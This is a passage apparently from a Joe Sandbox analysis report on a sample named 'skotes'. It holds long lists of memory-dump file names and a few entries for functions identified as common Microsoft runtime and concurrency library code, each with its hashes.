Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: af08130e112bd8ac7215cd523977ef1fa6814735674b1d29a8ad83cbeda5c345
Instruction ID: f87317a4a2ef6a26edf4998384bf425f0a77b92b106b4c9de3e11bd0b53f45c5
Opcode Fuzzy Hash: af08130e112bd8ac7215cd523977ef1fa6814735674b1d29a8ad83cbeda5c345
Instruction Fuzzy Hash: DD410F74600210ABCB1EAB24D886BFEBBB5AF55320F14409DE5069B3C2DBB4AD45C791

Function 001B56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 001B56F2
_InternalDeleteHelper.LIBCONCRT ref: 001B5726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 001B578B
SafeRWList.LIBCONCRT ref: 001B579A

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 95f66fa8d2bf432cfac65f36afaa5ca7843e97e59d32262431a56d601e4c143b
Instruction ID: 7997ff05485bebe30cb85d263d3c68fba9e0afa9d07eeb79a2f2cd3bc77f41ab
Opcode Fuzzy Hash: 95f66fa8d2bf432cfac65f36afaa5ca7843e97e59d32262431a56d601e4c143b
Instruction Fuzzy Hash: BE3146367016109FDF099F60C881BED73A6AFC9710F1942B8E90A9F395DF70AD048B90

Function 001B2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 001B2D0F

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: d8ea7118d51214f2abd8d52e742ef8d84d1fd58cad1e18fbd0311240e1d49203
Instruction ID: e2c658edd84e6b07de3008dc7afaa058cd99a15587a31faa74e7bfb0f2c407ed
Opcode Fuzzy Hash: d8ea7118d51214f2abd8d52e742ef8d84d1fd58cad1e18fbd0311240e1d49203
Instruction Fuzzy Hash: 88311775A00309DFCF14EF94C8D0BEE7BB9AF58314F1404AAD905AB246D770EA49DBA1

Function 001C13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 001C13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 001C1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 001C147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 001C152A

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 730bc007e90087d10c969319198d07fe83be75fc4bc6141c849a0fb84caad33f
Instruction ID: 84f3d4d31cf08e8573ca968e133e5e34474d58e8c92d9cc4934c9c7b20761c11
Opcode Fuzzy Hash: 730bc007e90087d10c969319198d07fe83be75fc4bc6141c849a0fb84caad33f
Instruction Fuzzy Hash: 00317375A40A05EBCF08DFA8C491AEDFBB5BF59710B14822DE516A7782CB34D941CB90

Function 001ABB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 001ABBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 001ABBE4
_xtime_get.LIBCPMT ref: 001ABC07
__Xtime_diff_to_millis2.LIBCPMT ref: 001ABC13

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
